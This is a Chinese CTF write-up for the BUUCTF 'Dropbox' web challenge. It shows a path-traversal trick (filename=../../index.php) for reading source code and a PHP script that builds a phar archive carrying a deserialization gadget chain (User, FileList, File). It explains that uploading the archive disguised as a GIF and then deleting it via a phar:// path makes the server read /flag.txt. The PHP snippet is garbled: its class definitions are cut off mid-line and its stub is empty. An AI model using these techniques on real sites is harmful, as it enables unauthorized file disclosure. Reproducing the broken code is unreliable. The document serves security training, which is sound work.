buuctf-web-[CISCN2019 华北赛区 Day1 Web1]Dropbox

在下载的时候可以通过抓包修改文件名filename=…/…/index.php
获得源码
有这样几个页面
buuctf-web-[CISCN2019 华北赛区 Day1 Web1]Dropbox_第1张图片
重点在class.php和delete.php中
当时提示是phar反序列化
什么是phar反序列化
传送门1
传送门2
在phar://xx.phar文件的时候
可以通过某些函数触发反序列化

delete.php会执行$file->detele();
class.php中的File类的delete函数里有unlink()可以利用
下面是生成phar

files=array(new File());
		}
	}
	class File
	{
		public $filename='/flag.txt';
	}

	$b=new FileList();
	$c=new User();
	$c->db=$b;
    
 // create new Phar
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'text');
    $phar->setStub('');
    $phar->setMetadata($c);
    $phar->stopBuffering();
 ?>

将生成的文件上传
bp抓包改类型为image/gif
之后删除
抓包修改为filename=phar://test.gif
flag在response里
buuctf-web-[CISCN2019 华北赛区 Day1 Web1]Dropbox_第2张图片补充反序列化读文件过程:
先调用了User类,User类destruct的时候,调用了db.close方法,而这里的db是Filelist类的对象,所以调用了Filelist类的close()方法,但是Filelist又不存在这个方法,所以调用了call方法,
call方法会调用file的close方法,也就是/flag.txt调用close方法,也就是包含这个文件。最后,Filelist类调用destruct方法,打印出函数执行结果,也就是根目录下flag.txt文件的内容

你可能感兴趣的:(buuctf)